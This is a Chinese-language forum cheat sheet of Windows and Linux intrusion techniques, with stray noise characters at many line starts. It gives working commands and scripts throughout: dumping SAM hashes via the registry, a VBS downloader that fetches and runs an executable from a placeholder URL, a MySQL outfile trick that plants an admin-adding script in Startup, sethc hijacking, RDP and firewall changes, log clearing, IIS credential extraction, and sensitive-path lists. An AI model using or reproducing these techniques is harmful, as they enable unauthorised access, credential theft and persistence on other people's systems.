# J) S% s1 ^% w- R  J$ K+ ]关于tar的打包方式,linux不以扩展名来决定文件类型。
- J. R! U  V, ]7 g若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
6 V+ b9 V% S3 L1 t- u& d那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
' C. H6 t0 v8 @2 t' Z}  
! q+ m$ k* s) N5 Z# Q
/ h) |) U# k2 E# w) M+ ?提权先执行systeminfo
0 ^3 t- x* ~; N1 W5 B, utoken 漏洞补丁号 KB956572
% q. b. J( r* ?$ M- ~/ L) nChurrasco          kb952004
' c$ {. [& J) ^5 X, H* t6 z8 B  B命令行RAR打包~~·
$ E- X& @. g/ A4 r  n' prar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
$ [" O' z1 z: B, T2、收集系统信息的脚本  
; u  K5 E' }+ K" j# Gfor window：
% v; @0 C( w  v( k6 V, t' g
% m6 W( U4 [5 d8 C@echo off
echo #########system info collection
systeminfo
. Z7 U) r+ d% N& u1 Nver
( A4 U% \% ?( D3 F; P& t# zhostname
) N( J; H* j* f* W4 Anet user
net localgroup
& x- N6 D: O$ J2 t/ cnet localgroup administrators
net user guest
net user administrator
- _  G1 m! E  W3 \% q5 q
: l3 |2 t# W  w) l+ \echo #######at- with   atq#####
7 z: G! F, n) V& B; P! e, uecho schtask /query
. B7 s- z9 u8 r( n  s
9 T$ }$ M, X& L& F: ^5 r! Oecho
4 m, S6 L* b' ]echo ####task-list#############
tasklist /svc
6 @( ~5 R+ l0 v8 k, Fecho
0 R' o# s" \5 Z: Yecho ####net-work infomation
ipconfig/all
route print
7 I$ t4 ~% v9 m0 S6 Oarp -a
7 ~; w3 q. A8 T. Q) r; hnetstat -anipconfig /displaydns
echo
1 J% `1 b! ?2 W3 \$ A$ G0 S! d/ \- vecho #######service############
: |5 [  c. p% J4 X2 T2 d4 N& _sc query type= service state= all
; v- U1 m5 {, N% _7 Z. eecho #######file-##############
cd \
1 i9 n% f/ y5 y' P& ktree -F
( u. S0 M, u+ b: Hfor linux：

#!/bin/bash
( x1 p0 L2 I8 e
+ {" }- u" ~7 O7 ~! q$ }/ [8 {echo #######geting sysinfo####
1 F0 m7 q6 ?0 }+ F* h" P1 o4 g0 necho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
4 i! B* t2 L1 n9 J4 ^2 U$ acat /proc/meminfo
  s. K6 k! l' _7 Q( A+ M; S! C2 ]echo
cat /proc/cpuinfo
/ u& }0 J, j; c! \$ y, S! Cecho
rpm -qa 2>/dev/null
5 E; l! \# r0 I2 u4 {2 J4 x######stole the mail......######
) O/ n" _6 ?& bcp -a /var/mail /tmp/getmail 2>/dev/null

4 C9 k/ @' o7 Y, H( p8 e
& H5 _9 F0 T; Vecho 'u'r id is' `id`
  p) n" m) L7 f4 Hecho ###atq&crontab#####
. T# e4 Y' O! Hatq
crontab -l
% |; s6 \" |% G2 \" ~% B* Uecho #####about var#####
" f0 v( X, }) Y7 A' Z3 Eset
% J: f7 f) ^/ O" y, U. r
echo #####about network###
$ }0 ]/ L& M; h) W+ B' K####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
hostname
ipconfig -a
arp -v
8 \8 z4 `3 ^$ G: B# K& Q7 @echo ########user####
cat /etc/passwd|grep -i sh

+ Y; o5 h7 {( e# v- }echo ######service####
chkconfig --list

6 H0 x3 K" I& ]for i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
3 A! r! J6 t; Udone

locate passwd >/tmp/password 2>/dev/null
2 z5 T- ]9 C  Z# ]5 I1 t: j0 ?7 P/ xsleep 5
locate password >>/tmp/password 2>/dev/null
sleep 5
7 J2 J* ~6 q: d, r2 L; P# s5 nlocate conf >/tmp/sysconfig 2>dev/null
7 O# |& ?4 B8 Z9 N8 g/ dsleep 5
locate config >>/tmp/sysconfig 2>/dev/null
sleep 5
& h! j5 k, J+ N. D; R
###maybe can use "tree /"###
. I% Q4 X* v1 q* v' a2 v7 Necho ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
7 e! S  }' I2 s  k1 Wrm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
. b: _+ Z; C( n( e2 m' X, H1 z3、ethash 不免杀怎么获取本机hash。
( A! h3 i( z1 D0 S- x首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
) d+ p; [6 q  e7 f  L- H4 A注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
% ^' l, x6 |4 ~$ G% ?  S接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
$ v1 ~# y2 k$ {2 i" S# j——————————————
2 }& a6 X2 C+ N; ?, q4、vbs 下载者
6 z+ N6 c, i. L1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
- w, f0 B. v) ^' y/ F8 Iecho sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
" y* j! G- j. X  B) [cftmon.vbs

$ ^0 l" B/ ]: p* l3 X  d+ U2
On Error Resume Nextim iRemote,iLocal,s1,s2
) j7 }+ H1 [. `iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
- U5 {% a2 V) S" KSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
) b7 U8 l2 \  ?
) T2 Q( V2 b2 i& `$ d5 B- Ocscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
0 }. W0 z5 ?, d) f
当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
/ F& ^! A7 w8 F* M8 D5、
1.查询终端端口
$ s$ s4 S* A6 l0 R* BREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
( K8 O# W* M6 [4 }: @2.开启XP&2003终端服务
1 P- q: s3 [: `' X' L& r) `/ dREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
1 l9 d5 L' l4 m# T1 G3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
! z9 V! }! K+ ?( s( n- ~4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
. i' K2 Z" J) j- U/ S3 k3 S* X) ^" D————————————————
* N! C7 |* _2 q8 \* v" V7 [6、create table a (cmd text);
" w' e7 }, E9 `; ]! B6 V3 d" h- Finsert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
! G/ C/ L) S/ ^7 Q1 einsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
, v' F( w% ?+ o/ T7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
) i* ^" |  Y9 u' `_____
) `$ w! D7 s( L! V$ c8 F8 k9 B8、for /d %i in (d:\freehost\*) do @echo %i
! ?% q$ [' s( }4 K# w
列出d的所有目录
  
  for /d %i in (???) do @echo %i
* i7 a( L+ x' l4 g$ y
把当前路径下文件夹的名字只有1-3个字母的打出来
& q  n5 k& J) k( F; F' J
1 k* j5 O: I  E6 B4 H9 J5 s2.for /r %i in (*.exe) do @echo %i
  
' r# D0 ]; F& H% U  S9 I; B& I# M( i. Y以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
, V4 R2 h) C( C6 b! e
for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

# T$ F* K9 P: v$ o% V0 R% j3.for /f %i in (c:\1.txt) do echo %i
5 m# V2 {+ U: p; m  
2 P1 w% T  ]1 ]- I! z( Q0 P  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

- {/ W* G0 t* b- @5 O# r+ T4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
' x) y2 {  U. a; l0 B
  delims=后的空格是分隔符 tokens是取第几个位置
——————————
●注册表:
1 M# Z: O: q9 |( U5 T1.Administrator注册表备份:
: F" Z) p# M5 N) ]& U0 ireg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
# [1 U: x3 \6 H0 G8 n6 ~  Y
; z* ]+ v1 d( `' [7 ]2 w8 o3 h% g2.修改3389的默认端口:
7 S) R: `: d) M0 {HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
0 E& J% @% u7 L5 t8 J3 s+ g修改PortNumber.
3 A/ }6 F5 Y3 F: O' v
3.清除3389登录记录:
4 U5 o4 E/ c7 o2 |6 f( {( \reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

1 |4 ]7 m- D. k/ r# D5 s) a4.Radmin密码:
+ _1 M) R8 B2 }8 L( G# w0 Wreg export HKLM\SYSTEM\RAdmin c:\a.reg

5.禁用TCP/IP端口筛选(需重启):
$ V4 {5 |2 S2 a0 C+ MREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
/ \, M& ~/ ^3 ^2 P0 G
6 y" m1 x0 B( E) X6 @6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
# R& J+ B: @1 `. d8 @! _或者
7 K+ v2 n  Q& \6 jnetsh ipsec dynamic set config ipsecexempt value=0
2 o  m( e" r/ n
. U! Q1 W( a# R: O5 s1 R% }7.停止指派策略"myipsec":
# U1 k; U) t5 L- E/ t* |7 ?netsh ipsec static set policy name="myipsec" assign=n

1 g- A- F9 d& T. q2 c+ Q8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

' H! J  C( {9 K6 B1 [# M  k  @8 X9.另类方法抓系统密码HASH
) l& q* n; w$ J) preg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive

10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

' {5 q. i  C# `reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
) \* J+ T, h1 Y5 v( z-----------------------------------
星外vbs(注：测试通过，好东西）
; A0 x+ g9 Y3 G5 f+ O' TSet ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
6 T" ~1 Y1 _4 q5 s& m# S: AchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
9 G* X3 q1 @+ D5 g2 b5 U! lset IIs=objservice.GetObject("IIsWebServer",childObjectName)
7 a& x0 ^- o( N0 b5 I5 s3 \if err.number<>0 then
exit for
msgbox("error!")
wscript.quit
end if
serverbindings=IIS.serverBindings
# ^3 g: ]* }% F4 ~+ j- U+ \ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
0 r/ y6 Y! X, l5 J, hpath=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
" r8 r7 q% y  Iend if
Next
wscript.echo list
( M: u& d# m, j: o! v5 k7 v- cSet ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
/ ^# Y0 a' D* ?/ k2 \2 lWScript.Quit
$ B8 i. u8 H3 s* W; r复制代码
' e; F. @6 _* Y5 }: `; i6 t6 ~1 C----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1 p5 f0 |- e$ E/ L1 J: y5 Z. j- c1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
7 v9 M- M) ?( V1 X$ h# M7 N2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
* U; _& [$ M% T<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
复制代码
. x, [+ H3 V0 r! Y然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
) j* e! A/ }6 c% r8 jasp代码，利用的时候会出现登录问题
8 y( Z5 U- v" s9 i 原因是ASP大马里有这样的代码：（没有就没事儿了）
% v5 O) m6 C4 q  S1 I url=request.severvariables("url")
8 v  k* g9 H: n 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
4 A5 s" [2 F: D) L; [5 } 解决方法
url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马
# a+ r; q, p0 a9 Y" v. d
==============================================================
LINUX常见路径：
& p; i' L8 p) t3 @
+ H5 k) h7 O$ a7 N+ I0 ]/etc/passwd
# s* t: P3 [7 p3 M/etc/shadow
" N0 \5 A5 e" c* u; {. h# @, C/etc/fstab
8 y& T, j8 B8 E% z/etc/host.conf
) T, M; f* |0 }* p2 g/etc/motd
3 T+ b- v# B# F/ S/etc/ld.so.conf
! f; W4 t' @1 J" F+ \; \; Y# o9 k/var/www/htdocs/index.php
* W, T8 }7 R9 d, m' Y0 g/var/www/conf/httpd.conf
# o# F( d: u$ y$ D: J, {1 D/var/www/htdocs/index.html
/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
) D$ \$ p4 q3 f) I9 k& f$ p: C% s/var/httpd/conf/php.ini
/var/www/index.html
' {* M7 B% q4 |$ \/var/www/index.php
/opt/www/conf/httpd.conf
1 P8 {# _6 k! q  W1 x  V/opt/www/htdocs/index.php
. ~8 G" t/ P+ T( {7 N  R, A/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
( |0 x& U% h, W7 {% y# A/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
1 L! L- |0 a% _1 u; k' |/usr/local/apache2/htdocs/index.php
9 a) @; ^1 y( y! o  n4 G" ~/usr/local/httpd2.2/htdocs/index.php
) k  @! Q$ u  g+ y, o! t" b7 T0 @& _/usr/local/httpd2.2/htdocs/index.html
1 M* s& j7 o* P; ?. v/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
" {" L# {8 O- U6 ~8 q8 `3 P9 v/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/www/php/php.ini
/www/php4/php.ini
. ~2 ]( w/ p  o& z0 w/ {/www/php5/php.ini
0 @2 ?) w( E9 k4 X/www/conf/httpd.conf
) W3 C7 {: H+ }! [/www/htdocs/index.php
3 j3 @  W9 o# p- ]; f/www/htdocs/index.html
4 K0 A% i7 o* |0 v% h/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
$ Q1 X* k3 P( u( p1 @2 D( B# b/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
+ D; E# `9 \0 Q. z7 z) Q/etc/apache2/apache.conf
/etc/apache/httpd.conf
/etc/apache2/httpd.conf
2 W% G4 O' K7 V6 X8 o- ~! k/etc/apache2/vhosts.d/00_default_vhost.conf
7 F7 H; W! Z4 x1 a, [; v" ?/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
' i+ f6 G* p0 v% `( E/ j+ v/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
$ _  F1 A  [* f  M* Z, L4 H/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
, s( f  Z/ n  M/home/apache2/conf/httpd.conf
/var/log/apache/error_log
/ h2 m5 H8 \$ ^3 E/var/log/apache/error.log
( Z& {3 i3 D: l/var/log/apache/access_log
" c, N% v, r* U4 i2 {1 b* Q) ~/var/log/apache/access.log
+ ]6 o( p! {& v1 Z2 P2 d. a5 S/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
+ I/ [( h/ t) ]: n+ h/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
( A7 s5 _# P4 C+ b- l/usr/local/apache/logs/access.log
/var/log/error_log
6 Y& j9 [2 i8 _* O6 C  J5 N  r: w/var/log/error.log
0 @( E, `& n; E: `/var/log/access_log
! \% n8 M$ N3 N. V8 b6 |; a/var/log/access.log
# d! ~8 S8 _* i, t/usr/local/apache/logs/access_logaccess_log.old
7 ?, s) _& j% g, q/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
/bin/php.ini
/etc/init.d/httpd
( ^" W* E0 B2 }0 S6 b/etc/init.d/mysql
/etc/httpd/php.ini
6 i& f* H# ?& T/usr/lib/php.ini
/usr/lib/php/php.ini
/ {3 T' ?- Y% D: d( M$ e6 ~/usr/local/etc/php.ini
/usr/local/lib/php.ini
3 B9 s! M+ {& y: d" y% Q" Z! Z/usr/local/php/lib/php.ini
) a* u" \) z7 \* \/usr/local/php4/lib/php.ini
; c/ \+ V" b1 h3 s: j: K/usr/local/php4/php.ini
" g: Y! J8 C$ H( _( I2 R# _  L; [/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
- B. y. G4 c5 Z2 D$ M6 y/ p/usr/local/php5/etc/php.ini
( o0 {- q# P. w! |0 s5 H  U/usr/local/php5/php5.ini
6 i! Z# V; q1 c! A9 f6 m4 H/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
; ^% R% b1 y, Y3 a5 F# l/usr/local/apache2/conf/php.ini
& g( P* l, P! d5 {: _: V5 u/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
. J. o* c8 t: L/etc/php/php.ini
3 }5 C. z9 Z' N- F1 ?- g/etc/php/php4/php.ini
& v. Z1 _' f1 R" J9 B/etc/php/apache/php.ini
/etc/php/apache2/php.ini
4 x  `" t/ w" u$ E0 \/web/conf/php.ini
0 `) {0 z7 y" |5 U! }( v/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
: Q0 ]  K1 l  Z9 N$ l/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
( l- `- R6 ]! O3 ]* V! B6 e/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
/php5/php.ini
# z% r# n* z( S/ {/php4/php.ini
( ~2 k; C( r  F7 w/ ?7 F: S6 Z/php/php.ini
/PHP/php.ini
/ P: Q$ \1 \! ]1 v, e9 |7 B0 O8 c/apache/php/php.ini
1 }& K) n( v. i8 ^* G; N/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
- E% y3 I# G: N* J) x/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
/var/log/mysql.log
  x  T: p, X: G6 e" D7 a3 o/var/log/mysqlderror.log
4 u9 h1 \1 T& ~  O0 P/var/log/mysql/mysql.log
& X' b- M) M5 y2 `  F9 N& ~: S/var/log/mysql/mysql-slow.log
. L$ C1 i. ^$ B' h7 S4 u) `/var/mysql.log
/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/ W. C& B" R8 B+ p/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
; E' J. l( J0 u# i5 C0 t/etc/my.cnf
/usr/local/cpanel/logs
4 j/ S' L( v) R% h) d0 o/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
5 x+ W, E0 y: y3 w+ A/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini
9 s; v! j( ?/ d/ f9 h
2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
( V9 i' i8 C) Q. ~# O* j5 }
8 b% ~+ z9 n' I+ g+ `. U6 f$ ^c:\windows\php.ini
, [8 a0 t) U5 H( F2 r3 Q6 R/ ?' L) `c:\boot.ini
" [, x) ?6 R# G! z+ q9 W$ Z8 bc:\1.txt
% O# z4 B6 r9 O; jc:\a.txt
1 i) E" }! _/ @% U
3 \2 I! Z5 Q- G/ Uc:\CMailServer\config.ini
' \- w- M  I5 D# o. Mc:\CMailServer\CMailServer.exe
% e& r2 W0 x% G6 ?. S  ]0 Wc:\CMailServer\WebMail\index.asp
8 G8 f3 H" B2 H2 ~/ uc:\program files\CMailServer\CMailServer.exe
: ]/ e) g4 i" Y1 N6 n9 `* o, vc:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
& ?$ L+ s  S8 x4 l. N& yC:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe

8 z+ _0 R/ R. A) s2 M; jc:\hzhost\databases\url.asp

c:\hzhost\hzclient.exe
9 y# ]. i; U* ?( MC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
+ d0 C$ D+ P; w7 ~/ q9 M2 j+ x
C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
c:\web\index.html
6 f8 X: _: E& `+ R5 ?c:\www\index.html
& [# C( U. A5 @5 _c:\WWWROOT\index.html
% c4 s% i) ?, `. Zc:\website\index.html
c:\web\index.asp
9 T2 z1 W0 q- C% J& ]4 }; i$ I% fc:\www\index.asp
: E* w7 \7 n# L# m% w  oc:\wwwsite\index.asp
, k) V, Q- w4 S  j5 s% @c:\WWWROOT\index.asp
; C/ U1 J  j  V+ vc:\web\index.php
c:\www\index.php
5 U1 I- y: I  {/ B" E& Pc:\WWWROOT\index.php
c:\WWWsite\index.php
c:\web\default.html
( U& }2 w9 J3 }* v" }9 a* I5 v( P: z1 ic:\www\default.html
c:\WWWROOT\default.html
c:\website\default.html
0 V3 E- F" O4 rc:\web\default.asp
- j3 }9 f; d7 T, J) {  m0 Tc:\www\default.asp
c:\wwwsite\default.asp
' @, a% i* {) s9 H. E- j0 i; D+ c2 tc:\WWWROOT\default.asp
c:\web\default.php
  [9 B  r( t' O+ ic:\www\default.php
; q3 z; P: b% Pc:\WWWROOT\default.php
c:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
' b$ [+ v" Y  ^6 A7 }c:\windows\notepad.exe
c:\winnt\notepad.exe
1 ~, f" w5 J  X( \C:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
, F6 I. a  E/ d* J5 z3 IC:\Program Files\Internet Explorer\IEXPLORE.EXE
* ?) {2 d4 ?* P* X( I3 ?" x# O& VC:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
8 G0 _8 o. \' v$ D8 W% AC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
c:\rising.ini
) N+ Z( H) |; G8 aC:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
% P2 Y3 Z+ ~4 _& HC:\Documents and Settings\Administrator\My Documents\Default.rdp
6 c0 @! @" i$ E$ B1 c3 sC:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
! u! w* F/ j6 `4 T. rC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
9 B9 m) F( d+ p" {$ t3 x+ m/ ?C:\Documents and Settings\Administrator\My Documents\a.txt
  {. y. M% {, R- ~& V# }) TC:\Documents and Settings\Administrator\桌面\a.txt
; o* e; f  J+ m8 q2 l2 EC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
3 f$ R9 X  U9 z) d3 wC:\Program Files\Symantec\SYMEVENT.INF
; i% K! E' D4 J4 v- X5 lC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
# _0 Y2 G2 P! i8 M/ A8 N( KC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
/ q6 m' B1 h" X/ P; G& h$ o6 iC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
1 A& Q( y: G1 @C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
, j' O& k# Y) Zc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
: p$ T2 k/ O! @7 X$ UC:\Program Files\Oracle\oraconfig\Lpk.dll
& k3 g. l; a3 i2 eC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
( p" b4 l9 C2 a% IC:\WINDOWS\system32\inetsrv\MetaBase.xml
( Y$ n5 Z' O+ ^C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
% W, P! h. \! i6 n9 WC:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
. A% v. [) W  @! KC:\WINDOWS\system32\config\system
, q# d; n1 I2 K( \3 D" u; F! s- vc:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
( t! H5 p/ r/ D* G, {$ uc:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
  i! \* ^& D1 R- @$ k$ Ec:\tomcat\bin\version.sh
6 K5 \% r4 X2 V( I8 N% j# b/ kc:\program files\tomcat6\bin\version.sh
! q$ I& y. l  O& k2 R4 tC:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
6 k' u5 b+ t7 {* b% C4 o& s- Rc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
) @1 B/ C9 S5 `. P- j/ y$ l+ d; O9 xc:\Apache2\php\license.txt
8 _3 ^9 x8 s* o9 ]2 I/ B+ nC:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
